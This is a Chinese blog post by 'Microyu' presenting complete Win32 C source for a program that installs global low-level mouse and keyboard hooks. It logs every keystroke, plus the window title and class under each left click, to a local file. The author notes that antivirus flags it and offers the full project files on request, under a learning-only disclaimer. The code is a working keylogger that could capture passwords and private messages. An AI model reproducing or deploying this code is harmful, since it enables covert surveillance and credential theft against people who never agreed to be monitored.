鼠标&键盘全监视
为了这个程序我可是伤透了脑筋,今天发出来供大家学习和参考。由于时间比较紧所以代码注释写的比较少,代码写的也比较乱…… 程序主要是使用键盘钩子完成的,运行程序时金山会报警。另外,由于程序涉及到鼠标键盘监视,所以这里暂不提供程序下载地址
声明:本程序仅供学习和参考,不得用于其他用途,如有违背者与本人无关。
源代码
#include "StdAfx.h"
#include <stdio.h>
#include <stdlib.h>
#include <shellapi.h>
#include <windows.h>
#include <windowsx.h>
#include "resource.h"
#include "MainDlg.h"
int i = 0;
HHOOK mouseHookId;
HHOOK keyHookId;
FILE *fp;
TCHAR time[256];
BOOL WINAPI Main_Proc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch(uMsg)
{
HANDLE_MSG(hWnd, WM_INITDIALOG, Main_OnInitDialog);
HANDLE_MSG(hWnd, WM_COMMAND, Main_OnCommand);
HANDLE_MSG(hWnd,WM_CLOSE, Main_OnClose);
}
return FALSE;
}
BOOL Main_OnInitDialog(HWND hwnd, HWND hwndFocus, LPARAM lParam)
{
fp=fopen("c:/log.txt","w");
StartHook(hwnd);
return TRUE;
}
LRESULT CALLBACK MouseHookProc(int code, WPARAM wParam, LPARAM lParam)
{
SYSTEMTIME stlocal;//系统时间结构体
GetLocalTime(&stlocal);//得到系统的时间函数
wsprintf(time,"%04d年%02d月%02d日 %02d:%02d:%02d",stlocal.wYear,stlocal.wMonth,stlocal.wDay,stlocal.wHour,stlocal.wMinute,stlocal.wSecond);
if(HC_ACTION==code)
{
LPMOUSEHOOKSTRUCT lpMouseHook = (MOUSEHOOKSTRUCT FAR*)lParam;
if(WM_LBUTTONDOWN==wParam)
{
TCHAR lpText[256];
TCHAR lpClassName[256];
HWND hwnd = WindowFromPoint(lpMouseHook->pt);
GetWindowText(hwnd,lpText,sizeof(lpText));
GetClassName(hwnd,lpClassName,sizeof(lpClassName));
fprintf(fp,"时间:%s\n事件:鼠标左键\n坐标:%i,%i\n窗口:%s\n窗口类名:%s\n\n",time, lpMouseHook->pt.x,lpMouseHook->pt.y,lpText,lpClassName);
}
}
if(0!=code)
{
return CallNextHookEx(0, code, wParam, lParam);
}
return 0;
}
LRESULT CALLBACK KeyHookProc(int code, WPARAM wParam, LPARAM lParam)
{
SYSTEMTIME stlocal;//系统时间结构体
GetLocalTime(&stlocal);//得到系统的时间函数
wsprintf(time,"%04d年%02d月%02d日 %02d:%02d:%02d",stlocal.wYear,stlocal.wMonth,stlocal.wDay,stlocal.wHour,stlocal.wMinute,stlocal.wSecond);
if(HC_ACTION==code)
{
LPKBDLLHOOKSTRUCT lpKeyHook = (LPKBDLLHOOKSTRUCT)lParam;
if(WM_KEYDOWN==wParam||WM_SYSKEYDOWN==wParam)
{
long lKey = (LOWORD(lpKeyHook->scanCode)<<16);
TCHAR lpKeyName[256];
GetKeyNameText(lKey,lpKeyName,sizeof(lpKeyName));
fprintf(fp,"时间:%s\n事件:键盘%s被按下\n\n",time, lpKeyName);
}
}
if(0!=code)
{
return CallNextHookEx(0, code, wParam, lParam);
}
return 0;
}
void StartHook(HWND hwnd)
{
HINSTANCE instance = (HINSTANCE)GetWindowLong(hwnd,GWL_HINSTANCE);
mouseHookId = SetWindowsHookEx(WH_MOUSE_LL,MouseHookProc,instance,0);
keyHookId = SetWindowsHookEx(WH_KEYBOARD_LL,KeyHookProc,instance,0);
}
void Main_OnCommand(HWND hwnd, int id, HWND hwndCtl, UINT codeNotify)
{
}
void Main_OnClose(HWND hwnd)
{
UnhookWindowsHookEx(mouseHookId);
UnhookWindowsHookEx(keyHookId);
fclose(fp);
EndDialog(hwnd, 0);
}
By:Microyu
有兴趣的童鞋可以到我这里要工程源文件
版权属于:microyu (除特别说明外)
本文链接:https://blog.microyu.top/archives/122/
版权声明:本博客文章采用CC BY-NC-SA 4.0进行许可,请在转载时注明出处及本声明!